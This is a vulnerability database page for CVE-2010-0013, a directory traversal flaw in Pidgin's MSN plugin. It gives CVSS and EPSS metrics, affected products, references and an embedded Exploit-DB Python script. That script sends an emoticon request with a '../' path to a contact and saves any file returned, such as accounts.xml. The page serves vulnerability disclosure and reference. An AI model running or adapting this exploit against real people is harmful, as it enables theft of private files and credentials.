CVE-2010-0013 : Detail

CVE-2010-0013

7.5
/
High
Directory Traversal
A01-Broken Access Control
5.55%V3
Network
2010-01-09
17h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in slp.c in the MSN protocol plugin in libpurple in Pidgin 2.6.4 and Adium 1.3.8 allows remote attackers to read arbitrary files via a .. (dot dot) in an application/x-msnmsgrp2p MSN emoticon (aka custom smiley) request, a related issue to CVE-2004-0122. NOTE: it could be argued that this is resultant from a vulnerability in which an emoticon download request is processed even without a preceding text/x-mms-emoticon message that announced availability of the emoticon.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11203

Publication date : 2010-01-18 23h00 +00:00
Author : Mathieu GASPARD
EDB Verified : Yes

#!/usr/bin/env python """ Pidgin MSN <= 2.6.4 file download vulnerability 19 January 2010 Mathieu GASPARD ([email protected]) Description: Pidgin is a multi-protocol Instant Messenger. This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi. The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests, which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks. Affected versions : Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library. Plugin msn-pecan 0.1.0-rc2 (http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date Plateforms : Windows, Linux, Mac Fix : Fixed in Pidgin 2.6.5 Update to the latest version : http://www.pidgin.im/download/ References : [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013 [2] http://www.pidgin.im/news/security/?id=42 Usage : You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l] Example : # python pidgin_exploit.py -a [email protected] -c [email protected] -f ../accounts.xml [-o accounts.xml] *********************************************************** Pidgin MSN file download vulnerability (CVE-2010-0013) Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l] *********************************************************** Please enter the password for the account "[email protected]" Password: [+] Connecting to server [+] Authentication in progress [+] Synchronisation in progress [+] OK, all done, ready to proceed [+] Sending request for file "../accounts.xml" to "[email protected]" [+] Using session_id 974948028 Current : 3606, total: 3881 (92%) [+] Got an answer from the contact ---------------- <?xml version='1.0' encoding='UTF-8' ?> <account version='1.0'> ........ """ import warnings warnings.simplefilter("ignore",DeprecationWarning) import os import sys try: import pymsn except ImportError: print "Pymsn couldn't be loaded" print "On debian-like systems, the package is python-msn" sys.exit(-1) import gobject import logging import getpass import hashlib from optparse import OptionParser import signal import time SERVER_ADDRESS = 'messenger.hotmail.com' SERVER_PORT = 1863 FD_OUT = sys.stdout MAINLOOP = None # seconds after which, if we didn't get an answer, we quit TIMEOUT = 5 global_client = None def quit(): MAINLOOP.quit() sys.exit(0) def check_if_succeeds(): # if False, we didn't get a chunk so we won't get any file, so we quit if global_client.GOT_CONTROL_BLOB == False: print "[+] Didn't get an answer from the client after %d seconds, it's likely not vulnerable or the file requested doesn't exist/is not accessible"%TIMEOUT print "[+] Exiting" global_client.quit() # called when we get the result data, after our request def handle_answer(object, client): print "\n[+] Got an answer from the contact" d = object._data data = d.read() length = len(data) FD_OUT.write(data) # if we wrote output to stdout, don't close it if FD_OUT != sys.stdout: FD_OUT.close() print "[+] Wrote %d bytes to file"%length client.end = time.time() duration = client.end - client.begin print "[+] Download lasted %d seconds at %d bytes/s "%(duration,(length/duration)) client.quit() def my_on_chunk_recv(transport, chunk): global_client._p2p_session_manager._transport_manager._on_chunk_received_OLD(transport, chunk) session_id = chunk.header.session_id blob_id = chunk.header.blob_id if session_id == global_client.session_id: # first blob is control, we "squeeze" it and keep only the second one if global_client.GOT_CONTROL_BLOB == False: #print "Got Control blob in our connection (session_id : %d, blob_id: %d)"%(session_id, blob_id) global_client.GOT_CONTROL_BLOB = True else: # if connections is complete, session_id is removed from data_blobs so we have to check before accessing it if global_client._p2p_session_manager._transport_manager._data_blobs.has_key(session_id): current_blob = global_client._p2p_session_manager._transport_manager._data_blobs[session_id] print "Current : %d, total: %d (%d%%)\r"%(current_blob.current_size, current_blob.total_size, ((current_blob.current_size*100)/current_blob.total_size)), sys.stdout.flush() def error_handler(self, error_type, error): # __on_user_invitation_failed, probably because contact is offline/invisible if error_type == pymsn.event.ConversationErrorType.CONTACT_INVITE and \ error == pymsn.event.ContactInviteError.NOT_AVAILABLE: print "[*] ERROR, contact didn't accept our invite, probably because it is disconnected/invisible" quit() # __on_message_undelivered, probably because contact is offline/invisible if error_type == pymsn.event.ConversationErrorType.MESSAGE and \ error == pymsn.event.MessageError.DELIVERY_FAILED: print "[*] ERROR, couldn't send message, probably because contact is disconnected/invisible" quit() print "[*] Unhandled error, error_type : %d , error : %d"%(error_type, error) quit() class MyClient(pymsn.Client): def __init__(self, server, quit, victim, filename, list_only, proxies={}, transport_class=pymsn.transport.DirectConnection): # callback to quit self.quit = quit # victim from whom we request the file self.victim = victim # just list contacts for this account self.list_only = list_only # file we request self.filename = filename # to calculate download duration and speed self.begin = 0 self.end = 0 # session_id of the connection to retrieve the file self.session_id = 0 # have we already seen the "control blob" for this connection self.GOT_CONTROL_BLOB = False pymsn.Client.__init__(self, server) # REALLY REALLY HACKISH # if contact is disconnected/invisible, a "NotImplementedError" exception is raised # and it can't be caught AFAIK so it needs to be redefined here # handler_class should be SwitchboardClient for handler_class, extra_args in self._switchboard_manager._handlers_class: handler_class._on_error = error_handler class MyMSNObjectStore(pymsn.p2p.MSNObjectStore): def __compute_data_hash(self, data): digest = hashlib.sha1() data.seek(0, 0) read_data = data.read(1024) while len(read_data) > 0: digest.update(read_data) read_data = data.read(1024) data.seek(0, 0) return digest.digest() # need to compute the SHA hash (SHAd in MSNObject) otherelse the function in MSNObjectStore complains because # the hash of the data we receive is not the hash we expected (hash we expect is the one we send, which is always the same here) def _outgoing_session_transfer_completed(self, session, data): handle_id, callback, errback, msn_object = self._outgoing_sessions[session] msn_object._data_sha = self.__compute_data_hash(data) super(MyMSNObjectStore, self)._outgoing_session_transfer_completed(session, data) class ClientEventHandler(pymsn.event.ClientEventInterface): def on_client_error(self, error_type, error): if error_type == pymsn.event.ClientErrorType.AUTHENTICATION: print "[+] Authentication failed, bad login/password" self._client.quit() else: print "[*] ERROR :", error_type, " ->", error def on_client_state_changed(self, state): #print "State changed to %s" % state if state == pymsn.client.ClientState.CLOSED: print "[+] Connection to server closed" self._client.quit() if state == pymsn.client.ClientState.CONNECTING: if self.current_state != state: print "[+] Connecting to server" self.current_state = state if state == pymsn.client.ClientState.AUTHENTICATING: if self.current_state != state: print "[+] Authentication in progress" self.current_state = state if state == pymsn.client.ClientState.SYNCHRONIZING: if self.current_state != state: print "[+] Synchronisation in progress" self.current_state = state if state == pymsn.client.ClientState.OPEN: print "[+] OK, all done, ready to proceed" self._client.profile.presence = pymsn.Presence.INVISIBLE contact_dict = {} for i in self._client.address_book.contacts: contact_dict[i.account] = i if self._client.list_only: for (k,v) in contact_dict.items(): print k+" ("+v.display_name+")" self._client.quit() else: if self._client.victim not in contact_dict.keys(): print "[*] Error, contact %s not in your contact list"%self._client.victim self._client.quit() else: contact = contact_dict[self._client.victim] store = MyMSNObjectStore(self._client) object = pymsn.p2p.MSNObject(contact, 65535, pymsn.p2p.MSNObjectType.CUSTOM_EMOTICON, self._client.filename, 'AAA=','2jmj7l5rSw0yVb/vlWAYkK/YBwk=') print "[+] Sending request for file \"%s\" to \"%s\""%(self._client.filename, self._client.victim) self._client.begin = time.time() store.request(object, [handle_answer, self._client]) # at this moment, we got only one session_id, the one we will use to request the file for k in store._outgoing_sessions.keys(): print "[+] Using session_id %d"%k._id self._client.session_id = k._id # hack to set up my own callback each time we receive a chunk, used to print the percentage of the download self._client._p2p_session_manager._transport_manager._on_chunk_received_OLD = self._client._p2p_session_manager._transport_manager._on_chunk_received self._client._p2p_session_manager._transport_manager._on_chunk_received = my_on_chunk_recv # if no file transfer received from the victim after TIMEOUT seconds, quit gobject.timeout_add(TIMEOUT*1000, check_if_succeeds) def __init__(self, client): self.current_state = None pymsn.event.ClientEventInterface.__init__(self, client) if __name__ == '__main__': print "***********************************************************\n" print "Pidgin MSN file download vulnerability (CVE-2010-0013)\n" print "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]\n" print "***********************************************************\n" usage = "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l] " parser = OptionParser(usage=usage) parser.add_option("-f", "--file", dest="filename", default=None, help="File requested to remote contact") parser.add_option("-o", "--output", dest="output_file", default=None, help="Where to write received file, STDOUT otherelse") parser.add_option("-a", "--account", dest="account", default=None, help="MSN account to use") parser.add_option("-c", "--contact", dest="contact", default=None, help="Contact to request file from") parser.add_option("-l", "--list", dest="list_only", action="store_true", default=False, help="Just print contact list for your account and exit") (options, args) = parser.parse_args() if not options.filename or not options.account or not options.contact: if not (options.account and options.list_only): print "Error, parameter missing" parser.print_help() sys.exit(-1) if options.output_file != None: try: FD_OUT = open(options.output_file,"wb") except Exception,e: print "Cannot open file %s (%s)"%(options.output_file, e) sys.exit(-1) MAINLOOP = gobject.MainLoop() def sigterm_cb(): gobject.idle_add(quit) signal.signal(signal.SIGTERM, sigterm_cb) logging.basicConfig(level=logging.CRITICAL) # allows us to see the protocol debug server = (SERVER_ADDRESS, SERVER_PORT) client = MyClient(server, quit, options.contact, options.filename, options.list_only) global_client = client client_events_handler = ClientEventHandler(client) print "Please enter the password for the account \"%s\""%options.account try: passwd = getpass.getpass() except KeyboardInterrupt: quit() login_info = (options.account, passwd) client.login(*login_info) try: MAINLOOP.run() except KeyboardInterrupt: quit()

Products Mentioned

Configuraton 0

Adium>>Adium >> Version 1.3.8

Pidgin>>Pidgin >> Version 2.6.4

Configuraton 0

Fedoraproject>>Fedora >> Version 11

Fedoraproject>>Fedora >> Version 12

Configuraton 0

Opensuse>>Opensuse >> Version From (including) 11.0 To (including) 11.2

Suse>>Linux_enterprise >> Version 11.0

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_server >> Version 10

Configuraton 0

Redhat>>Enterprise_linux >> Version 4.0

Redhat>>Enterprise_linux >> Version 5.0

References

http://www.openwall.com/lists/oss-security/2010/01/02/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/37953
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-66-277450-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/37954
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2010:085
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.openwall.com/lists/oss-security/2010/01/07/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2009/3663
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/1020
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2009/3662
Tags : vdb-entry, x_refsource_VUPEN
http://www.openwall.com/lists/oss-security/2010/01/07/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/37961
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/38915
Tags : third-party-advisory, x_refsource_SECUNIA